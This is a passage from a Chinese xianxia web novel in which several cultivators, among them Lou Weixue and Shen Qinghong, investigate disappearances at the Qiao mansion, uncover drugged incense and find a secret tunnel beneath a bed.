娄危雪清清嗓子,一本正经地介绍,“这位是天一宗的清鸿仙尊,想必诸位都听说过?清鸿仙尊的事?迹,如果那乔宅真是有凶兽作祟,有清鸿仙尊在,我们的胜算也会多很?多,说不定还能找到关?于你们师妹的线索。” 沈清鸿的名头实在过于响亮,在场的没一个人?是不知道的。 除了李寄春仍旧有些忧心娄危雪外,剩下的济苍宗几人?知道沈清鸿后?,把所有劝说的话都吞到了肚子中。 在绝对的实?力面前,所有的言语都是苍白的。 她们几个金丹期的修士,又怎么好?劝人?家化神期的仙尊。 之后?众人?又交流一番,便离开客栈。 乔宅在城池的北边,众人?一路往北,越走人?烟越稀少。 等?她们来到乔宅面前时,距离遇到最后?一个路人?已经过?了半个时辰。 周遭寂静,有风吹过?,带走树上的最后?一片叶子,穿过?树干,呜呼咆哮。 明明还是白天,可是乔宅的大门?就已经关?上了,昏沉的天光下,朱红色的大门?看?上去刺眼无比,透露着一股不祥的气息。 掌柜的话、破庙中的怪物,种种奇怪的画面浮现在娄危雪的脑海中。 她咽下口水,鼓足勇气走上台阶,叩响乔宅的大门?。 大门?似乎没有关?紧,被她这么一扣,往里动了一下,露出一条细细的门?缝。 “有人?吗?”娄危雪弱弱喊着。 无人?回应,她忍不住朝里张望,正正好?对上一只眼睛,那眼睛的眼白部分白惨惨的,瞳仁漆黑如墨。 “啊啊啊啊!” 娄危雪被吓得?大叫,瞬间跳到沈清鸿身边,一把将人?抱住。 “清鸿仙尊,眼睛,门?缝里有眼睛啊!!!” 边上,济苍宗的几位已经拔出长剑,李寄春祭出自己的药葫芦,玲溪横剑护在花厌身前。 众人?如临大敌,紧张兮兮地盯着大门?。 吱吖—— 所有人?神经紧绷,随着门?缝越来越大,众人?都准备好?冲上去了,结果一个杵着拐棍的白发老?太?太?出现在众人?面前。 见众人?武器高举,明显被吓了一跳。 “你们想干什么?” 众人?怔愣,反应过?来后?纷纷收起武器。 被娄危雪紧紧抱着的沈清鸿面色冰冷,她拍拍娄危雪。 “还不放手。” 娄危雪意识到自己闹了个乌龙,尴尬不已,连忙放开沈清鸿。 周遭一阵沉默,老?太?太?眼睛瞪得?大大的,显然被众人?吓得?不轻。 娄危雪暗道一声罪过?,摸摸鼻子,上前解释。 “奶奶你别怕,我们是修士,听说贵府有妖祟作祟,特来降妖。” 老?太?太?狐疑地打量着众人?,“你们当真是修士?” “当然!” 娄危雪说着还给剩下的人?使眼色,让她们帮着自己解释。 贺凡第一个反应过?来,从怀中掏出了一个东西递给老?太?太?。 “我是济苍宗的修士,这是我从宗门?接到的委托书。” 老?太?太?见此,一改之前的警惕,惊喜不已。 “原是除患的道长,快快请进。” 老?太?太?把大门?推得?更开了,侧过?身伸出手,示意众人?进门?。 众人?对视一眼,走入门?内。 等?最后?一个人?跨入门?槛,大门?被重新合上。 老?太?太?在前面带路,娄危雪走在沈清鸿身边,不动声色地观察着。 宅院处处雕梁画栋,可以看?出这家主人?非富即贵。 不过?一路走来,她们鲜少遇到下人?,就算遇到也都低着头,匆匆离开了。 没多久老?太?太?把人?带到堂屋,“还请诸位在此稍作等?候,我这就去通知我家主人?。” 说完老?太?太?便离开了。 众人?又等?了一会,只见一个身穿绯红纱衣,看?起来约莫三十?多岁,身材丰腴的美貌妇人?从外走来。 看?到众人?妇人?颇为欣喜,“妾身乔氏,不知诸位道长前来,实?在是有失远迎。” “乔夫人?客气了。” 寒暄几句过?后?,娄危雪开门?见山。 “我等?在宗门?听说贵府有妖祟作祟,便接了委托过?来,不知道府中现下情况如何?” 乔夫人?闻言脸色一变,长叹了口气。 “我这府中的人?现在是一天比一天少,也不知道我们还能活多久。” 娄危雪见状,安慰道:“夫人?不要担心,我等?过?来,就是为了替夫人?解决府上的祸事?。” 乔夫人?并没有因为娄危雪的话而露出丝毫欣喜,反倒面露苦涩。 “不瞒道长,曾经也有其他?的道长接了委托过?来,只不过?往往没过?多久,那些道长就不知不觉的消失了,连个尸身都没看?见,可真是吓死人?了。” “还请道长能够尽快解决,不然我这府上只怕是连人?都不剩了。” 李寄春眼神微动,询问道:“府上既然发生这种骇人?的事?情,夫人?为何不搬走?” “这宅子是我夫君留给我的,是我的念想,我不愿搬走。” 一旁的娄危雪闻言,目露疑惑。 “夫人?不怕有一天自己也消失了吗?” 乔夫人?摇了摇头,把手上戴着的戒指取下,展示给众人?看?。 戒身被打造成了藤蔓的样式,蜿蜒缠绕托着一颗宝石,那宝石是深红色的,戒面光华流转,里面似有熔浆流淌。 “此物名昭华戒,乃是我机缘巧合下获得?,可保我不被妖祟近身。” 娄危雪点点头,这样倒是解释得?通,不过?有件事?情让她有些在意。 “我们入府之后?,一路走来所见皆是女子,似乎没见到过?男子,这是为何?” “我夫君已逝,我是个寡妇,若是招了男工,时间久了难免会生出闲话,所以便只招了女工。” “原来如此。” 乔夫人?看?向众人?,“几位道长远道而来,一路舟车劳顿,不知可有落脚之处?” “有的,我们已在城中客栈租了房间。” 说话的是林沐她年纪最小,没有多想直接便答了,贺凡甚至没能来得?及阻止。 乔宅既然与她们师妹的失踪有关?系,该想办法住进来才?对。 好?在林乔机灵,补救道:“客栈只是临时落脚的地方,夫人?既然希望我等?尽快解决妖祟的事?情,不知可否行个方便,让我等?在府上住下,这样我们也方便调查,若是妖祟再出来害人?,我们也能及时处理。” 乔夫人?含笑点头,“道长们能这么想,正合我意,发布委托的时候,我便已经让人?准备好?了厢房,就是为了道长能够留在府上,好?降妖除魔。” “如此,多谢夫人?。” 众人?齐齐道谢,接着便被乔家的管家,也就是开门?时带众人?过?来的那个老?太?太?,带去了厢房处。 众人?安顿下来之后?,贺凡和李寄春、玲溪三人?一起结伴去城中的客栈退房。 与此同时,娄危雪和沈清鸿已经聚在一起,至于花厌,当然是被娄危雪拽着一起去了。 玲溪不在,她得?亲自看?着花厌才?好?。 为了防止有人?偷听,娄危雪到沈清鸿房间后?,还把房间的门?给关?上了。 她来到沈清鸿身边,神情紧张,“清鸿仙尊你有没有发现,这座宅子古怪得?很?,府上只有女人?便罢了,可是那剩下的仆人?,还净是一些上了年纪和容貌丑陋的。” “掌柜的说当初乔府招工的时候,好?多人?挤破头都想进来,怎么可能一个长得?漂亮的都没有。” 沈清鸿颔首认同,提醒道:“不止如此,自乔府传言有妖祟吃人?开始,已经过?了许久,寻常人?若是遇到这种事?情,恐怕早就想办法离开,乔府不该还留有下人?。” 娄危雪恍然大悟,“对哦,乔夫人?有法宝护体,不怕妖祟,可是剩下的那些人?是为了什么?” “就算是签了卖身契,可是在府中有妖祟吃人?的情况下,还是得?想办法逃出去才?是,毕竟府中妖祟一日不除,她们就有被害的风险,若是能逃出去,说不定还能挣得?一线生机。” “其中的原因,就是你我需要调查的了。” 两人?这边正聊着,房间的门?突然被人?敲响,门?内两人?立刻噤声。 娄危雪走过?去把门?打开,门?外站着的是林乔、林沐两人?。 “你们怎么过?来了?” 娄危雪侧过?身,让两人?进屋。 林乔道:“现在时间还早,我和我妹妹准备去宅子里四处探探,想问问你们要不要一起。” 娄危雪摇头,“我们觉得?这府上的下人?有些古怪,打算先从下人?身上入手。” 沉思一瞬,林乔颔首:“这样也好?,我们正好?可以分头行动。” 林乔和林沐离开后?,娄危雪三人?也从屋内走出去调查。 她们在通往花园的一处走廊,看?到了正在洒扫的下人?,是一个丫鬟,方盘脸,脸上肌肤浮肿,红色的胎记自她右边的眼睛处开始蔓延往下,遮盖了小半张脸。 娄危雪走过?去,“姑娘,我有些事?情想问问你,不知道你是否方便。” “夫人?早先交代过?我们,如果道长问话,定要好?好?配合,不知道道长想问什么?” 不同于那可怖的长相?,这丫鬟的嗓音听着倒是清脆悦耳。 娄危雪怔愣一瞬,又很?快恢复。 原先沈清鸿提出的问题在娄危雪脑中回荡,她问道:“姑娘,这个宅子里妖祟闹事?,人?心惶惶,你可有想过?离开?” 丫鬟摇头,“乔夫人?对下人?们还不错,给的月钱也多,如果我走了,上哪还能找到这么好?的差事??” 娄危雪诧异不已,“钱难道比命还重要?姑娘不怕被妖祟抓走?” 那丫鬟闻言笑了,“我这样的样貌,妖祟怎么会看?得?上我?” “姑娘这是什么意思?” 娄危雪双眉紧皱,颇为不解,就看?到丫鬟一副有恃无恐的样子。 “这宅子里的妖祟啊,只吃那些年轻又长得?漂亮的,像我这般的样貌,根本就不用?担心。” 只吃长得?漂亮的? 娄危雪和沈清鸿对视一眼,均看?出对方眼中的疑色。 站在边上冷眼看?着的花厌闻言,眼神微动,怕娄危雪和沈清鸿发现,她垂下眸,掩住眼中的深思。 之后?娄危雪和沈清鸿又陆续在宅子里找到其他?下人?,问了同样的问题。 她们的回答几乎无差,都说是宅子里的怪物只吃长得?漂亮的,而且怪物一般是在晚上出现。 为了能够尽早解决乔宅的怪事?,三人?准备出去找找线索,刚走到乔宅门?口,就遇到从客栈退房回来的李寄春等?人?。 见娄危雪这样子像是要外出,李寄春好?奇地询问:“危雪,你们这是要去哪?” “我们想去外面打听一下,看?看?附近的人?那里有没有什么线索。” 李寄春闻言,立刻道:“我和你们一起。” 玲溪:“我也去。” 贺凡自然也是要调查的,跟着说:“一起吧。” 一众人?站在乔宅的门?口,把大门?给堵了个严严实?实?。 娄危雪沉默一瞬,她们要是这么多人?一起去问事?情,人?家开门?看?到后?,吓都给吓关?门?了。 她捏捏眉心,把李寄春拉过?来,又把花厌交给玲溪看?着。 “这样,寄春、我和清鸿仙尊,我们去左边,你们三个去右边,我们分开调查快一点。” 众人?对此都没有意见,在门?口处分开。 娄危雪等?人?一路向左,敲了好?些人?家的门?,始终无人?应答。 此时这条道路已经走到尽头,娄危雪敲响最后?一户人?家的房门?。 “你好?,请问有人?吗?” 与先前一样,无人?回应。 娄危雪叹了口气,“走吧。” 三人?转身,准备离开,可就在这时身后?的门?突然开了。 “你们是什么人??” 一道苍老?沙哑的声音响起。 娄危雪连忙转过?身,发现一个背脊佝偻的老?伯正站在门?内正看?着她们,脸上沟壑遍布,看?上去怪骇人?的。 她吓了一跳,倒退一步,差点栽进沈清鸿怀里。 沈清鸿嫌弃地看?了她一眼,将她往身后?一拉,上前询问道:“老?人?家好?,我们想向您打听些事?情。” 老?伯发灰的眼睛直勾勾地看?过?去,慢悠悠:“你们想问什么?” 被看?轻的娄危雪老?脸一红,暗暗唾弃自己一番,从沈清鸿身后?挤了出来。 忙道:“老?人?家,我们是来乔宅除妖的修士,想问问您住在附近,有没有发现过?什么不寻常的事?情。” 老?伯纳闷不已,“前几个月也来了两拨人?自称是修士,过?来除妖,这怎么又来了。” 李寄春的师妹正是在几个月前接了乔宅的委托,她神情激动。 “老?人?家你说前几个月也有修士过?来,那你有没有见过?我师妹,她十?七岁,圆脸杏眼,笑起来还有两颗小虎牙,身材和我差不多,大概长这么高。” 李寄春一边说着一边比划着,又从身上拿出那个绣了小黄鸡的香囊,递给老?人?。 “当时我师妹身上带着的是这个香囊,老?人?家你有印象吗?” 老?人?接过?李寄春手中的香囊查看?一番后?,又把香囊还给了李寄春。 “好?像是有这么个人?,她说她叫什么小栾?” “明小栾!是我师妹,”李寄春激动不已,追问:“老?人?家你可还记得?,最后?一次见她是什么时候?” 老?人?低下头思索一会,回答:“大概是在一个月前,我晚上起夜,看?到乔宅那边红光冲天,有咆哮和嘶吼声,没多久我就看?到空中飞来一道人?影,正是你那师妹。” “她在天上和一团黑影打了起来,不过?没打一会,她就被黑影打中,然后?跑了,那黑影追着她也跑了。” 李寄春在听到师妹受伤之后?,脸色瞬间变得?惨白。 偏偏老?人?还在这个时候补了一刀,“从那之后?我就再也没有见过?那个小姑娘,除了你们,我也再没见到过?其他?修士,想必她们都已经落入凶兽的腹中,尸骨无存了。” “师妹……”李寄春神色仓皇,她师妹是年轻一辈中最聪明的,怎么可能就这么死了呢? 娄危雪见她这样,急忙安慰。 “寄春你先别着急,你师妹如果真的已经葬送妖兽之口,那香囊又怎么会被我们发现。” “对,还有香囊,”李寄春紧紧抓住娄危雪手,像是抓住了最后?一根稻草,“危雪,我师妹那般聪明伶俐,一定会没事?的,对吗?” 娄危雪眼神复杂,按照老?人?的说法明小栾恐怕已经凶多吉少了,可是面对这样的友人?,娄危雪又怎么能说出那般捅人?心窝子的话。 她回握住李寄春,“吉人?自有天相?,你师妹会没事?的。” 这句话仿佛给李寄春带来了无尽的力量,她点了下头。 “对,我师妹会没事?的。” 在老?人?这里打听完后?,娄危雪三人?就回头了。 她们把之前没有敲开的门?又敲了一遍,在确认没有其他?的线索后?,才?重新回到乔宅。 回到屋中后?,没多久玲溪等?人?也调查完线索回来了,一并过?来的还有林乔、林沐二人?,所有人?重新聚集在娄危雪的房间。 沈清鸿挥手在房外布下一层结界,这才?开口。 “大家既然都在这里,那就先说说发现的线索吧。” “我先来吧。”玲溪走出来,把在附近打听到的事?情说了一遍,“我们刚刚去了乔宅右边那条街,发现附近的人?很?多都已经搬走,只剩下一些上了年纪的老?者和一些男子还住在这里,而且根据他?们所说,他?们曾经在夜晚听到乔宅这边传来过?嘶吼声,有时候还有女子的惨叫。” 第二个说话的是娄危雪,她把在外面的经历原原本本地说了出来。 “我们去的左边,住在巷子最后?一户的老?人?告诉我们,几个月前曾来过?一批修士,其中就有寄春的师妹,不过?距离老?人?最后?一次见到她已经过?去了一个月了,而且她是老?人?见到的那一批里的最后?一个修士。” “除此以外,我和清鸿仙尊问过?府上的下人?,她们告诉我们,妖怪只在夜晚出现,并且只吃年轻貌美的女子,这估计也是附近为什么只有老?人?和男子的原因。” 林乔、林沐两姐妹闻言,面露怪异。 沈清鸿敏锐地察觉到两人?的异样,“怎么?你们发现了什么?” “你们说宅子妖怪只吃年轻貌美的女子,可是我们今天在宅子里面搜寻了一圈,在好?几处地方都找到了一些胭脂水粉,和漂亮衣服。” 玲溪不以为意,“就算长得?不好?看?,也可以打扮啊,这并不奇怪。” 沈清鸿摇头,“你说错了。” 玲溪怔愣,不明白沈清鸿是什么意思。 娄危雪看?了眼话少的沈清鸿,帮着解释。 “如果凶兽只吃长得?漂亮的,在这种情况下,不会有人?还有心思打扮自己,她们也不会打扮自己,因为漂亮就会被吃掉。” 贺凡道:“那有没有可能,林乔和林沐发现的,是以前失踪的女子留下的东西?” “倒也不是没有这种可能……” 众人?纷纷猜测胭脂水粉,和漂亮衣服的来历。 沈清鸿启唇,打断众人?的讨论。 “与其在这里猜测,不如直接去探探。” 就这样,林乔和林沐带着她们去了其中一处。 此时还是白天,没到休息的时候,房间内空无一人?。 林乔和林沐是在一个下人?睡觉的床头发现的漂亮衣服,她们找了附近的丫鬟,让人?把睡在那里的人?找了过?来。 过?来的是一个中年妇人?,在看?到她的时候,所有人?都意识到了不对劲。 妇人?对此毫无所觉,看?到众人?,她讨好?地笑了一下。 “几位道长,听说你们找我,不知道是有什么事?情?” 娄危雪和沈清鸿对视一眼,然后?指指那堆东西。 “这些是你的吗?” 妇人?点头,应得?利落。 “是我的。” 闻言,娄危雪伸手,从里面拿出一条长裙抖开,在妇人?的身上比划了一下。 “这衣服好?看?是好?看?,但是你怕是穿不上吧。” 她把衣服丢回妇人?怀中,眼神里满是怀疑。 妇人?尴尬地笑了两下,“道长,是这样的,这些都是之前失踪的人?的东西,她们人?没了,这东西便就成了无主的,我把这些收集起来,自然是算我的,而且这些东西都还好?好?的,拿出去还能卖不少的钱咧。” 李寄春和几个济苍宗的人?脸色瞬间黑了,她们的师妹可也是失踪的人?员之一,这妇人?卖出去的东西,说不定就有她们师妹的。 林沐眼睛立刻瞪了起来,“人?只是失踪了,说不定还能回来,你就这么把她们的东西拿走了,就没有想过?她们回来时该怎么办吗?” 妇人?不以为意,“那些人?都失踪多久了,估计早就没了,怎么可能还回得?来。” 林沐脸上满是愤怒,“你胡说!她们只是失踪了而已,一定还可以回来的!” 妇人?嗤笑一声,“小道长,你未免太?天真了,这些人?失踪少说都有一个月了,什么人?可以不吃不喝一个月啊,饿都给饿死了。” “你!你!”林沐指着妇人?,手指不停颤抖。 她气不过?,恼怒之下,竟然直接抽出了腰间的佩剑。 妇人?一看?林沐抽出长剑,吓得?连忙朝屋外跑。 “啊!!!救命啊!杀人?啦!” “我要好?好?教训你,给我师妹出气!” 林沐喊着就要冲上去。 在场的众人?没料到会有这么一出,见状赶忙追了上去,生怕林沐真的一怒之下,伤了人?。 “救命啊!快来人?!” 林沐冷哼一声,举剑朝着妇人?砍去,妇人?仓皇逃跑之下,脚步不稳,直接摔倒,刚好?躲过?林沐刺去的一剑。 沈清鸿眼睛微眯,刚刚的是巧合吗? 她本还想在观望观望,可是林乔怕妹妹惹事?,直接出手制止住了林沐。 “够了,她只是一个普通人?。” “可是姐姐,她,她!”林沐眼睛发红,胸中气闷,说不出完整的话来。 林乔叹了口气,“我知道你想说什么,但是这也不是你对她动手的理由,你是修道的,不可随意对普通人?动手。” “眼下要紧的,还是要尽快弄清楚这里发生的事?情,把剑收起来吧。” 林沐胸口憋了口气,气得?面色涨红,她狠狠瞪了妇人?一眼,不情不愿地把剑收了回去。 时间一晃便到了晚上,乔夫人?摆了宴席,请众人?过?来。 桌上晚宴颇为丰盛,下人?在旁边候着,随时等?待着主人?的吩咐,其中就有先前被林沐拿着剑追的妇人?。 用?餐的时候,林沐眼睛止不住地往那妇人?身上瞥,但是恶狠狠冷冰冰的。 乔夫人?注意到林沐的眼神,放下手中筷子。 她忍不住询问:“小道长为何总是瞪着我那仆人?,可是我那仆人?惹到小道长了?” 林沐凉凉开口,“夫人?,你这府上的人?手脚着实?不算干净。” 这话说得?着实?重了些,林乔皱眉,“林沐,不可无礼。” “无碍,”乔夫人?并未因此生气,只是有些不解林沐话里的意思。 她问:“小道长为何如此说,可是发现了什么?” 林沐冷哼一声,把白日里在宅中搜到的东西,和妇人?先前说的那番话全部说了出来。 乔夫人?听完了事?情始末,轻叹了口气。 “这件事?情我也知道,我曾说过?她们,可是并没有什么作用?。” 娄危雪诧异,“夫人?是这家的主人?,她们难道连夫人?你的话都不听吗?” 乔夫人?苦笑摇头,“由于有妖邪作祟,如今我这宅子里的人?越来越少了,只剩下那么些个,当然要善待。” “而且我自幼没吃过?苦,十?指不沾阳春水的,除了舞文弄墨,别的一窍不通,如果她们再离开,我这宅子可就彻底成空宅了。” 娄危雪看?了眼乔夫人?放在桌上的手,手指修长,皮肤白皙,一枚红色的戒指戴在她纤细的指节上。 那好?像是昭华戒,娄危雪正待细看?,乔夫人?却已经把手收回桌下。 “难道就只能这么眼睁睁地看?着她们把失踪的人?的东西收走?”林沐气恼的声音在娄危雪身旁响起,“夫人?就没想过?,如果那些人?回来了,她们又该怎么想吗?” 乔夫人?无奈,“可是眼下并没有别的解决办法,若是失踪的人?回来,我自会叫她们把没卖出的东西归还,想办法弥补失踪之人?的损失。” 林沐看?起来依旧不高兴,可是又没有什么解决的办法,便只能闭嘴。 饭后?,众人?各自散开回房。 娄危雪回想着今日在乔宅发现的事?情,只觉得?处处都是古怪。 城内那么多户人?家,妖祟为什么只盯着乔宅? 根据乔宅下人?的说法,在这里失踪的都是些年轻漂亮的女子,可妖邪为何只要年轻漂亮的女子? 还有先前在城外破庙发现的那个长相?似人?的怪物,它的身上为什么会有寄春师妹的香囊?怪物是否和乔宅发生的怪事?有关?系? 若是怪物与乔宅的事?情有关?,那为什么会出现在城外? 娄危雪躺在床上,脑中思绪纷杂,理不出一个清晰的思路。 香炉中的盘香缓缓燃烧着,她只觉得?眼皮越来越重,不知不觉沉沉睡去。 夜半,宅内一片安静。 沈清鸿坐在房内打坐,屋内香味浓重,让人?连神思都变得?昏沉起来。 这不对劲。 沈清鸿睁开眼睛,立刻下床,推门?而出。 娄危雪就住在她的隔壁,沈清鸿没有任何犹豫,抬手一掌拍开阻挡在面前的房门?,闯入屋内。 她这般的动静已经不算小,可是屋内的人?却一点反应都没有。 沈清鸿心头划过?一抹慌乱,她沉下脸走到娄危雪的床前。 明明是几步的距离,沈清鸿却仿佛过?了很?久一般。 “娄九寒,醒醒。” 沈清鸿伸手晃了晃娄危雪,可是娄危雪眼睛紧紧闭着,没有一丝醒来的迹象。 正在这时,有脚步声响起,有人?从门?口处走了进来。 “谁?” 沈清鸿目露警惕,抓紧了均湘剑。 “是我。” 李寄春走进屋来,顺手从桌上拿起一杯茶水,倒在屋里的香炉上。 她来到床边,看?见昏睡着的娄危雪没有一点意外。 “我就知道。” 李寄春双指成法,腰间挂着的葫芦突然飞上半空,淡淡的绿色光点从葫芦口处朝外涌出,飘入娄危雪的眉间,消失不见。 呼吸之间,只见昏睡不醒的人?,眼皮滚动,缓缓睁开眼睛。 娄危雪刚醒,就看?到床边的两个人?,她怔愣一瞬,随后?反应过?来什么后?连忙起身。 “你们怎么都在这里?难道是出什么事?情了吗?” 李寄春抬手,“一会再说,我去看?看?还有没有被药昏的人?。” 话音落下,李寄春就已经匆匆跑走了。 沈清鸿看?了眼娄危雪身上穿着的单薄亵衣眉头皱起,把衣服穿好?,我们也出去看?看?。 “好?。” 娄危雪应了一声,取过?衣架上的衣服,把衣服穿好?后?和沈清鸿一起走出门?外。 贺凡晚上说要在宅子里转转,想看?看?会不会遇到作祟的东西便没有睡觉,听到动静,立刻赶了过?来。 此时李寄春已经迅速地闯了好?几个房间,把林乔和林沐都给救醒了。 只剩下最后?一间房没去,众人?跟着李寄春来到玲溪和花厌住着的地方。 贺凡一脚把门?踹开,众人?走入屋内,只见原本睡觉的床榻上空无一人?。 她们正准备细查,东方突然传出一道红光,看?方位似乎是在乔夫人?的寝房那边。 众人?心头同时浮现三个字:出事?了! 第32章 现在玲溪和花厌失踪,东厢那边似乎也出了事?情?,众人神色严肃,很是难看。 关?键时?刻,沈清鸿迅速做出决断,“我们来的时?候这间?房的门是从里锁着的,人是在屋中消失的,济苍宗的三位道友,麻烦你们在这里先找找线索,剩下的人和我去乔夫人那边看看。” 一行人分作两拨,娄危雪等人迅速赶到乔夫人居住的院子。 院中一片凌乱,树叶落了满地,石桌石凳东倒西歪的似乎是被什么东西撞倒的。 娄危雪等人朝里走去,到了乔夫人房间?门口,房门被外力?破坏,残破不堪。 屋内一片狼藉,展览架倒在地上,满地碎瓷残片,香味浓厚与娄危雪等人房间?里的一样。 床榻上,乔夫人酣然入睡,对于院子里发生?的事?情?毫不知情?。 娄危雪见状,忙朝后唤:“寄春,快来,看看夫人。” 李寄春快步走向床边,见到昏迷的人后,再次祭出自己的药葫芦。 绿色的光点落在乔夫人的眉心,乔夫人悠悠转醒。 看见床前站着的几人,她表情?有一瞬间?的茫然。 “道长,你们怎么会在这里?” 见乔夫人不像是有事?的样?*?子,娄危雪解释:“方才我们在远处发现这边红光大作,所?以过来查看。” 乔夫人听后,下意识摸了摸手指上戴着的戒指。 “应该是在宅子里作祟的东西触发了我的法宝,不知道道长们可有见到那东西?” 娄危雪摇头,“我们来的时?候什么都?没看到。” 有风穿过,房间?里的香味散了许多。 李寄春神色微动,询问:“夫人可知房间?里的熏香是谁准备的?” 听到李寄春这么问,娄危雪察觉到了些许异样。 “寄春,你是不是发现了什么?” 早在她被叫醒的时?候就觉得不对劲,后来跟着李寄春,见她每次进入房间?的第一件事?情?就是浇灭香炉,恐怕是这香有什么问题。 “你们看,”李寄春把夫人床尾的香炉拿来打?开,将里面已经被水浇灭的盘香取了出来。 “这盘香看着完整,其?实不然,你们仔细观察,每隔一段,盘香上就会出现一截少许颜色加深的香段。” “而这截颜色稍深的香段,是由降云花为主要药材做成的,这种?花极难获得,因为需要人血浇灌,是为邪花,由它做成的这截香段,最初只?会让闻到的人陷入深深的昏迷之?中,如果施以秘法,可以使人丧失神志,沦为不生?不死的怪物。” 如果不是因为晚上担忧师妹无法入睡,盘香燃到那一截,叫李寄春闻出不对,她恐怕也会中招。 娄危雪仔细地观察了一下,发现盘香的颜色果然如李寄春所?说,并不是完全一样的。 这可就奇怪了,明明传言是妖邪作祟,可是什么妖邪还会在房间?里用这种?香? 若不是妖邪,那乔夫人被触发的法宝该如何解释? 她正?想着,就听到沈清鸿清清冷冷的嗓音响起。 “夫人可知我们房间?里的这些香是谁准备的?” 乔夫人摇了摇头,“宅子里的事?我很少过问,不过管家她应当是知道的。” “那劳烦夫人带我们去见管家。” “几位道长请随我来。” 乔夫人披上外衣走在前面带路,三人跟上。 天上无月,只?有沿途的石灯散发着微弱的光亮。 宅子中一片寂静,她们这里的骚动没有引来任何的下人,路过的每个房间?,皆是房门紧闭。 如果不是白天见到过宅子出现的人,还以为整个宅子没人住呢。 三人跟着夫人穿过长廊,来到一处院落。 乔夫人敲响其?中一间?的房门,门内响起一道苍老沙哑的问询声。 “谁?” “管家,是我。” 门被人从里打?开,白发老太太出现在几人的视线里。 见到门口出现这么多人,她明显愣了一下。 “夫人、道长们,你们深夜过来,是有什么事?情?吗?” 花厌和玲溪还下落不明,娄危雪没那么多时?间?同管家解释,她直接问道:“管家,你知不知道我们宅子里的香是谁负责的。” “是小环,怎么……” “带我们去找她。” 沈清鸿打?断管家要问的话,现在重要的是赶紧找到在香炉中放盘香的人。 见此?,管家没有再多问,给众人带路。 管家和下人们住的地方很近,不过百步的距离。 那一个房间的人全部被叫了起来,只?是里面并没有小环的身影。 管家看着剩下的人,“你们有谁看到过小环吗?” “没有。” “我记得小环晚上睡觉的时?候说是肚子痛,然后就出门了。” “现在都?没回?来,不会是被妖怪抓走了吧!” …… 下人们议论起来,面色仓皇,猜测着是不是那妖邪又出来作祟了。 娄危雪双眉紧皱,她们才发现盘香的事?情?,负责放置盘香的人就失踪了,怎么可能会有这般巧合事?情?。 虽然人消失了,但是东西说不定还在。 三人先在这间?房里搜索了一番,可是什么东西都?没搜到。 好不容易抓到点线索,怎么可能就这么放弃。 娄危雪走到夫人身边,“夫人,这件事?说不定与在宅子中作祟的妖邪有关?系,请你把所?有人都?叫起来集中到一起,我们需要搜查一些东西。” “我知道了。” 乔夫人十分配合,让管家把所?有下人全部?叫醒,在院子中集合。 她们紧接着又陆续搜索了其?他下人们的房间?,角角落落的一处都?没放过,可是无论如何翻找,都?没有找到任何与药材和盘香有关?的东西,为此?她们又在下人们身上搜寻一番。 娄危雪正?搜着,面前被她搜身的人,却突然开口:“小道长,你们搜什么呢?” 这人是先前与林沐起争执的妇人,娄危雪听到宅子里的人都?叫她虞嫂。 “不要多问。” 她低低警告了一句,手从妇人的腰间?滑过。 是她的错觉吗?她总觉得这个妇人好像比之?前瘦了一点。 娄危雪还想探寻一下,虞嫂身体?止不住地颤抖,突然笑了起来。 一边笑她还一边和娄危雪解释,“不好意思,道长,我有点怕痒,你能快点搜吗。” 手底下的腰滑开,娄危雪摇摇头,应该是她多想了。 她加快了手上的速度,什么都?没搜出来。 一番搜索过后,三人依旧一无所?获。 恰在此?时?,一声巨响从她们居住的厢房处传来,不知道是发生?了什么。 娄危雪原本垂着头瞬间?抬了起来,沈清鸿更是二话不说,直接朝那边赶去了。 李寄春和娄危雪二人见状,纷纷跟上。 “先散了吧。” 夫人挥退下人后,也朝厢房那边去了。 济苍宗的三人还在花厌和玲溪的房间?里,屋中一片凌乱,可见是没少翻查。 贺凡见娄危雪等人回?来后,连忙上前,“你们回?来啦,可有查到那红光是怎么回?事??” 娄危雪把在乔夫人房间?和下人们房间?发生?的事?情?和几人说了一遍,反问贺凡。 “你们这边呢?刚刚我们在下人房间?那里听到一阵巨响,是什么?” 林沐指指房间?的床,床上铺着的东西都?已经被掀开了,露出光洁的床板。 她上手敲了下床板,“这里面似乎有空间?,可是我们没有找到能够打?开的机关?。” “刚刚师兄想试试能不能直接破开,可是这东西不知道是什么做的,打?在上面一点反应都?没有。” “让开,我来。” 众人闻言纷纷为沈清鸿让步,沈清鸿见状,直接一掌拍了上去。 在贺凡手下没有丝毫异状的床,就这么被沈清鸿给拍开了,一个黑黝黝的洞口出现在众人的眼前,陡峭的台阶贴着边缘顺延往下,宛如猛兽的巨口,等待着猎物送上门去。 “不愧是清鸿仙尊。” 晚一步过来的乔夫人,刚好听到贺凡的这声称赞。 她看向众人聚集的地方,发现床上的异状,神情?错愕。 “床底怎么会有这个东西?” 娄危雪听到声音,侧首看去,“夫人不知道吗?” 乔夫人摇头,满脸困惑,“这宅子是我的亡夫留给我的,他从未和我说过这个宅子里有密道。” 众人的视线重新落到洞口处,洞里黑沉无光,不知道通往何方。 可玲溪和花厌是在这里失踪的,如果顺着这个洞下去,说不定可以查到更多的线索。 “我们进去看看吧。” 娄危雪说着,凑上前去,抬脚就要朝台阶走去。 “等等,”沈清鸿眼疾手快,一把拽住就要下去的娄危雪,“我先下去,如果我说没事?,你们再下来。” 娄危雪愣了一下,随后应下。 “好。” 她让开位置,等沈清鸿走下去。 洞口吞没了沈清鸿的身影,众人在上面焦灼地等待着。 娄危雪担心沈清鸿的安危,隔三岔五地就要朝洞口张望一下。 片刻后,沈清鸿的声音才瑶瑶传来。 “你们可以下来了。” 众人听后,这才动身。 这条密道挖得很深,众人走了很长一截的台阶,才走到最下面。 密道的宽度,只?够两个人并排行走,每隔一段距离,墙壁上就会出现一道火把。 火把亮着,为众人照亮着前行的道路。 众人一路无话,沿着隧道走了大概三个时?辰,可是始终没有走到尽头,甚至没有看到任何一个岔路口。 娄危雪微拧着双眉,“这条路未免太长了。” “快到了。” 沈清鸿走在最前方,她能感受到有微弱的风正?从前方吹来,想必是离出口不远了。 大概又走了一会,密道的前方才渐渐有了亮光。 众人加快脚步,终于从密道里走出,视野一下子变得开阔起来。 映入众人眼帘的,是一片茂密的树林,除此?以外什么都?没有。 密道的出口处,有一些纷乱的脚步痕迹,众人顺着脚印,走出山林来到小道上。 到此?之?后,道路上的脚印便多了起来,纷杂繁复地交织在一起,叫人辨不出方向,不好继续追查下去。 娄危雪提议:“大家不要走太远,我们先在附近看看能不能找到什么线索。” “好。” 众人应下后各自散开,娄危雪原本想和李寄春一起的,结果被沈清鸿给带走了。 